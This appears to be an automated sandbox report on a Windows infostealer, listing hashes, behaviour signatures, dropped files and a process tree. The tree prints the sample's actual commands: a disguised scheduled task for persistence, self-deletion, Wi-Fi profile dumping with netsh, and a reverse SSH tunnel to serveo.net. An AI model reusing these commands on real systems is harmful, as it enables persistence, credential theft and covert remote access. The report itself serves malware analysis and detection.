Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-05-2024 19:43

General

  • Target

    479d30cd484920e686388641718edc53.exe

  • Size

    120KB

  • MD5

    479d30cd484920e686388641718edc53

  • SHA1

    c7040a1893168c204c759280d9671b0b58890c8c

  • SHA256

    e4385e5feb8e6148b8bd24b5d3f86c9fb5f45c5520bbe7c08c01a8befd1c8601

  • SHA512

    e499941a4f0f0764ab7493f3f7aa588473409881aa4564a9939cfd60232bd1de672ecfc099d6712fa1eb4da272855f92c95fdf610f688c81894a6258cd3dd51d

  • SSDEEP

    1536:2Wzd3+6aUp+3aTvjgFnbF/nt6z9b1Caom02vrDxcHtcV/erWEUzny94BgJad:z3av3aTvjv9b1Ch30rDxcHtcV/SquI

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\479d30cd484920e686388641718edc53.exe
    "C:\Users\Admin\AppData\Local\Temp\479d30cd484920e686388641718edc53.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3672
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && schtasks /create /tn "479d30cd484920e686388641718edc53" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\RobloxSecurity\479d30cd484920e686388641718edc53.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\479d30cd484920e686388641718edc53.exe" &&START "" "C:\Users\Admin\AppData\Local\RobloxSecurity\479d30cd484920e686388641718edc53.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2076
      • C:\Windows\system32\chcp.com
        chcp 65001
        3⤵
          PID:3088
        • C:\Windows\system32\timeout.exe
          timeout /t 3
          3⤵
          • Delays execution with timeout.exe
          PID:4220
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "479d30cd484920e686388641718edc53" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\RobloxSecurity\479d30cd484920e686388641718edc53.exe" /rl HIGHEST /f
          3⤵
          • Creates scheduled task(s)
          PID:3596
        • C:\Users\Admin\AppData\Local\RobloxSecurity\479d30cd484920e686388641718edc53.exe
          "C:\Users\Admin\AppData\Local\RobloxSecurity\479d30cd484920e686388641718edc53.exe"
          3⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          • outlook_office_path
          • outlook_win_path
          PID:1436
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3564
            • C:\Windows\system32\chcp.com
              chcp 65001
              5⤵
                PID:1128
              • C:\Windows\system32\netsh.exe
                netsh wlan show profiles
                5⤵
                  PID:3180
                • C:\Windows\system32\findstr.exe
                  findstr /R /C:"[ ]:[ ]"
                  5⤵
                    PID:2220
                • C:\Windows\SYSTEM32\cmd.exe
                  "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2632
                  • C:\Windows\system32\chcp.com
                    chcp 65001
                    5⤵
                      PID:4468
                    • C:\Windows\system32\netsh.exe
                      netsh wlan show networks mode=bssid
                      5⤵
                        PID:1684
                      • C:\Windows\system32\findstr.exe
                        findstr "SSID BSSID Signal"
                        5⤵
                          PID:4440
                      • C:\Windows\System32\OpenSSH\ssh.exe
                        "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:5017 serveo.net
                        4⤵
                          PID:3580
                  • C:\Users\Admin\AppData\Local\RobloxSecurity\479d30cd484920e686388641718edc53.exe
                    C:\Users\Admin\AppData\Local\RobloxSecurity\479d30cd484920e686388641718edc53.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1996
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3920 --field-trial-handle=3084,i,4016110471176367543,14287608422419064331,262144 --variations-seed-version /prefetch:8
                    1⤵
                      PID:3696
                    • C:\Users\Admin\AppData\Local\RobloxSecurity\479d30cd484920e686388641718edc53.exe
                      C:\Users\Admin\AppData\Local\RobloxSecurity\479d30cd484920e686388641718edc53.exe
                      1⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of SetWindowsHookEx
                      PID:3616
                    • C:\Users\Admin\AppData\Local\RobloxSecurity\479d30cd484920e686388641718edc53.exe
                      C:\Users\Admin\AppData\Local\RobloxSecurity\479d30cd484920e686388641718edc53.exe
                      1⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of SetWindowsHookEx
                      PID:1092

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

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                    Downloads

                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\479d30cd484920e686388641718edc53.exe.log

                      Filesize

                      847B

                      MD5

                      3308a84a40841fab7dfec198b3c31af7

                      SHA1

                      4e7ab6336c0538be5dd7da529c0265b3b6523083

                      SHA256

                      169bc31a8d1666535977ca170d246a463e6531bb21faab6c48cb4269d9d60b2e

                      SHA512

                      97521d5fb94efdc836ea2723098a1f26a7589a76af51358eee17292d29c9325baf53ad6b4496c5ca3e208d1c9b9ad6797a370e2ae378072fc68f5d6e8b73b198

                    • C:\Users\Admin\AppData\Local\RobloxSecurity\479d30cd484920e686388641718edc53.exe

                      Filesize

                      120KB

                      MD5

                      479d30cd484920e686388641718edc53

                      SHA1

                      c7040a1893168c204c759280d9671b0b58890c8c

                      SHA256

                      e4385e5feb8e6148b8bd24b5d3f86c9fb5f45c5520bbe7c08c01a8befd1c8601

                      SHA512

                      e499941a4f0f0764ab7493f3f7aa588473409881aa4564a9939cfd60232bd1de672ecfc099d6712fa1eb4da272855f92c95fdf610f688c81894a6258cd3dd51d

                    • C:\Users\Admin\AppData\Local\lbdd1brp2p\p.dat

                      Filesize

                      4B

                      MD5

                      0af787945872196b42c9f73ead2565c8

                      SHA1

                      d3ca45c909afe56d2c4ecb58e7b4541381084dbd

                      SHA256

                      815d19a0553b4947a13a8de7668035014e5bea17751c35b281907e772fd211ed

                      SHA512

                      e3198f3f8d36826b7798e512ec4bb7681a678efb6a982658b55351d57a6333b0b34d6757934b180e770e344935cfc39e40dd2df00b3b10d92d87446f16743e6e

                    • memory/1436-11-0x00007FF894130000-0x00007FF8941ED000-memory.dmp

                      Filesize

                      756KB

                    • memory/1436-14-0x0000026BB9BC0000-0x0000026BB9D69000-memory.dmp

                      Filesize

                      1.7MB

                    • memory/1436-19-0x00007FF894130000-0x00007FF8941ED000-memory.dmp

                      Filesize

                      756KB

                    • memory/3672-0-0x00007FF894143000-0x00007FF894145000-memory.dmp

                      Filesize

                      8KB

                    • memory/3672-1-0x0000021EB9480000-0x0000021EB94A4000-memory.dmp

                      Filesize

                      144KB

                    • memory/3672-2-0x00007FF894140000-0x00007FF894C01000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/3672-6-0x00007FF894140000-0x00007FF894C01000-memory.dmp

                      Filesize

                      10.8MB